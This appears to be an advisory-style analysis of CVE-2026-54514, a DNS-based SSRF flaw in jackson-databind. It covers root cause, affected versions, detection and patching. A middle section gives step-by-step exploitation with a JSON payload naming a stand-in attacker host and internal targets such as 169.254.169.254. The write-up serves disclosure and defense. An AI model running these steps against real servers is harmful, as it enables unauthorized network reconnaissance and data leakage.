CVE-2026-54514: 
Java vulnerability analysis and mitigation

CVE-2026-54514 is a Server-Side Request Forgery (SSRF) vulnerability in FasterXML jackson-databind caused by eager DNS resolution during InetSocketAddress deserialization. The JDKFromStringDeserializer class constructed InetSocketAddress objects using new InetSocketAddress(host, port), which triggers immediate DNS name resolution for attacker-supplied hostnames at deserialization time — before any application-level validation occurs. Affected versions span com.fasterxml.jackson.core:jackson-databind 2.0.0 through 2.18.7, 2.19.0 through 2.21.3, and tools.jackson.core:jackson-databind 3.0.0 through 3.1.3. The vulnerability was discovered by Omkhar Arasaratnam (@omkhar), published to the GitHub Advisory Database on June 23, 2026, and carries a CVSS v3.1 base score of 5.3 (Medium) (Github Advisory, FasterXML Advisory).

The root cause is classified as CWE-918 (Server-Side Request Forgery). The vulnerable code path in FromStringDeserializer.java called new InetSocketAddress(host, port) within the _inetSocketAddress() method, which the JDK resolves eagerly via DNS at construction time. The fix, introduced in pull request #5951, replaces this with InetSocketAddress.createUnresolved(host, port), deferring DNS resolution until an explicit network connect is made. An attacker only needs to supply a JSON payload containing a hostname string in a field that maps to an InetSocketAddress type; no authentication or special privileges are required, and exploitation occurs automatically during readValue() (FasterXML Advisory, Fix Commit).

An unauthenticated attacker who can supply untrusted JSON to an application using jackson-databind can force the server to issue DNS queries to arbitrary attacker-chosen hostnames during deserialization. This enables DNS-based out-of-band data exfiltration, internal DNS infrastructure reconnaissance (mapping internal hostnames and resolvers), and potential DNS amplification abuse — all without any network connection being established to the target host. Integrity and availability are not directly impacted; the confidentiality impact is limited to information leakage via DNS side-channels (Github Advisory, FasterXML Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.219% (12th percentile), indicating a low near-term exploitation probability. However, the attack is fully automatable and requires no authentication, privileges, or user interaction, making it trivially exploitable against any application that deserializes untrusted JSON into types containing InetSocketAddress fields (Github Advisory).

1. Identify a target endpoint: Find an application that accepts JSON input and deserializes it into a Java type containing an InetSocketAddress field using jackson-databind (versions 2.0.0–2.18.7, 2.19.0–2.21.3, or 3.0.0–3.1.3).
2. Set up a DNS monitoring service: Use an out-of-band interaction platform (e.g., Burp Collaborator, interactsh, or a custom DNS server) to capture incoming DNS queries.
3. Craft a malicious JSON payload: Construct a JSON body where the InetSocketAddress field contains an attacker-controlled hostname, for example:

   {"address": "attacker-controlled.example.com:8080"}

4. Submit the payload: Send the crafted JSON to the target application endpoint via HTTP POST or any other accepted channel.
5. Observe DNS resolution: During readValue(), jackson-databind calls new InetSocketAddress("attacker-controlled.example.com", 8080), causing the server's DNS resolver to query the attacker-controlled domain — confirming the vulnerability and leaking the server's internal DNS resolver IP.
6. Leverage for reconnaissance: Repeat with internal hostnames (e.g., internal-db.corp, 169.254.169.254) to probe internal DNS infrastructure and map the network environment (FasterXML Advisory, Fix Commit).

• Network: Unexpected outbound DNS queries from the application server to external or unusual domains, particularly those with random or attacker-controlled subdomains; DNS queries originating from the application JVM process to internal hostnames not normally queried by the application.
• Logs: Application logs showing readValue() calls on JSON inputs containing hostname strings in InetSocketAddress-typed fields; DNS server logs recording queries from the application server to unfamiliar external domains.
• Process: Java process issuing DNS lookups (via InetAddress.getByName() or equivalent) at deserialization time rather than at connection time, observable via JVM-level DNS debug logging (-Dsun.net.spi.nameservice.provider.1=dns,sun or similar).

Upgrade jackson-databind to one of the patched versions: 2.18.8, 2.21.4, or 3.1.4, which replace the vulnerable new InetSocketAddress(host, port) call with InetSocketAddress.createUnresolved(host, port) to defer DNS resolution (Github Advisory, Fix Commit). If immediate patching is not feasible, avoid deserializing untrusted JSON into types that contain InetSocketAddress fields, or implement strict input validation to reject or sanitize hostname values before passing them to readValue(). Additionally, restricting outbound DNS from application servers via firewall rules can limit the impact of exploitation.

The Apache Spark project promptly issued a dependency upgrade to jackson-databind 2.21.4 in response to this CVE (referenced in PR apache/spark#56338). The vulnerability has also prompted widespread automated dependency update PRs across numerous open-source Java projects via Renovate and Dependabot bots. OpenSUSE and SUSE issued security advisories and package updates addressing this CVE. Red Hat published an errata (RHSA-2026:36002) addressing the issue in their ecosystem (FasterXML PR).